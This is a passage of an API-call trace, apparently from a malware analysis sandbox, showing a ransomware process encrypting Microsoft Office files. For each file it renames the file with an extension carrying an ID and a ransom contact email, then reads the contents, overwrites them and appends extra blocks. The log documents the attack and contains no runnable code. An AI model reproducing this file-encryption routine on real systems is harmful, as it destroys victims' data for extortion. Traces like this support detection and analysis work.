lpNewFilePointer=0x0) returned 1 [0174.938] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0174.939] CloseHandle (hObject=0x5ec) returned 1 [0174.939] GetProcessHeap () returned 0x630000 [0174.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70cab68 | out: hHeap=0x630000) returned 1 [0174.939] GetProcessHeap () returned 0x630000 [0174.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70bf738 | out: hHeap=0x630000) returned 1 [0174.939] GetProcessHeap () returned 0x630000 [0174.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0174.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0174.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e38a039, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11684, dwReserved0=0x9207496, dwReserved1=0x70bf730, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4f40 [0174.939] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0174.939] Sleep (dwMilliseconds=0x1) [0177.043] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD", len=0x40 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD") returned 1 [0177.043] GetProcessHeap () returned 0x630000 [0177.043] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b40) returned 0x707d3d0 [0177.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0177.046] CloseHandle (hObject=0x6dc) returned 1 [0177.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x487bc7b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x487bc7b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x487bc7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINSCH~1.FIR")) returned 0x6d53c0 [0177.058] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0177.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0177.158] GetProcessHeap () returned 0x630000 [0177.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x6fc88b8 [0177.158] GetProcessHeap () returned 0x630000 [0177.158] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x6efb1f8 [0177.159] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.159] ReadFile (in: hFile=0x674, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x60fff0c*=0x600, lpOverlapped=0x0) returned 1 [0177.289] GetProcessHeap () returned 0x630000 [0177.290] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0177.290] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.290] WriteFile (in: hFile=0x674, lpBuffer=0x6efb1f8*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efb1f8*, lpNumberOfBytesWritten=0x60fff0c*=0x600, lpOverlapped=0x0) returned 1 [0177.290] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.290] WriteFile (in: hFile=0x674, lpBuffer=0x6efb7f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efb7f7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.290] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.290] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.290] CloseHandle (hObject=0x674) returned 1 [0177.290] GetProcessHeap () returned 0x630000 [0177.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efb1f8 | out: hHeap=0x630000) returned 1 [0177.291] GetProcessHeap () returned 0x630000 [0177.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0177.291] GetProcessHeap () returned 0x630000 [0177.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0177.291] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x487bc7b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x487bc7b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f9e417e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x9207496, dwReserved1=0x6fc88b0, cFileName="WINSCHD.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINSCH~1.FIR")) returned 0x6d5280 [0177.291] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.291] Sleep (dwMilliseconds=0x1) [0177.453] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK", len=0x44 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK") returned 1 [0177.453] GetProcessHeap () returned 0x630000 [0177.453] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ad8) returned 0x707d3d0 [0177.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.454] CloseHandle (hObject=0x714) returned 1 [0177.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI7F18~1.FIR")) returned 0x6d5340 [0177.455] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.455] GetProcessHeap () returned 0x630000 [0177.455] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4598 [0177.455] GetProcessHeap () returned 0x630000 [0177.455] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5168 [0177.455] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.455] ReadFile (in: hFile=0x714, lpBuffer=0x6a4598, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4598*, lpNumberOfBytesRead=0x60fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.457] GetProcessHeap () returned 0x630000 [0177.457] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0177.457] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.457] WriteFile (in: hFile=0x714, lpBuffer=0x6a5168*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5168*, lpNumberOfBytesWritten=0x60fff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.457] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.457] WriteFile (in: hFile=0x714, lpBuffer=0x6a51c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a51c7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.457] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.457] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.457] CloseHandle (hObject=0x714) returned 1 [0177.457] GetProcessHeap () returned 0x630000 [0177.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5168 | out: hHeap=0x630000) returned 1 [0177.457] GetProcessHeap () returned 0x630000 [0177.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4598 | out: hHeap=0x630000) returned 1 [0177.457] GetProcessHeap () returned 0x630000 [0177.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0177.457] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fb879dd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x60ffd20, dwReserved1=0x6a4598, cFileName="VISIO_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI7F18~1.FIR")) returned 0x6d4f80 [0177.458] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0177.458] Sleep (dwMilliseconds=0x1) [0177.479] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS", len=0x3e | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS") returned 1 [0177.479] GetProcessHeap () returned 0x630000 [0177.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac4) returned 0x707d3d0 [0177.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.483] CloseHandle (hObject=0x714) returned 1 [0177.483] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4809621, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOC~1.FIR")) returned 0x6d5480 [0177.522] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.522] GetProcessHeap () returned 0x630000 [0177.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0177.522] GetProcessHeap () returned 0x630000 [0177.522] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x72b5678 [0177.522] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.522] ReadFile (in: hFile=0x714, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x60fff0c*=0xd60, lpOverlapped=0x0) returned 1 [0177.630] GetProcessHeap () returned 0x630000 [0177.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0177.630] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.630] WriteFile (in: hFile=0x714, lpBuffer=0x72b5678*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b5678*, lpNumberOfBytesWritten=0x60fff0c*=0xd60, lpOverlapped=0x0) returned 1 [0177.631] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.631] WriteFile (in: hFile=0x714, lpBuffer=0x72b63d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b63d7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.631] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.631] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.631] CloseHandle (hObject=0x714) returned 1 [0177.631] GetProcessHeap () returned 0x630000 [0177.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b5678 | out: hHeap=0x630000) returned 1 [0177.631] GetProcessHeap () returned 0x630000 [0177.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0177.631] GetProcessHeap () returned 0x630000 [0177.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0177.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4809621, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4809621, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fd22c79, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0x9207496, dwReserved1=0x695ec8, cFileName="VISIO.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOC~1.FIR")) returned 0x6d5480 [0177.631] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.632] Sleep (dwMilliseconds=0x1) [0179.744] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr", len=0x46 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr") returned 1 [0179.744] GetProcessHeap () returned 0x630000 [0179.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa8) returned 0x707d3d0 [0179.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0179.745] CloseHandle (hObject=0x66c) returned 1 [0179.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0179.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0179.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0179.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8ee092, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b8ee092, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8ee092, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x4894c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~3.FIR")) returned 0x6d5480 [0179.746] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0179.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0179.747] GetProcessHeap () returned 0x630000 [0179.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0179.748] GetProcessHeap () returned 0x630000 [0179.748] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0179.748] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.748] ReadFile (in: hFile=0x66c, lpBuffer=0x7001850, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.711] GetProcessHeap () returned 0x630000 [0185.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0185.711] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.711] WriteFile (in: hFile=0x66c, lpBuffer=0x700cc80*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.712] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 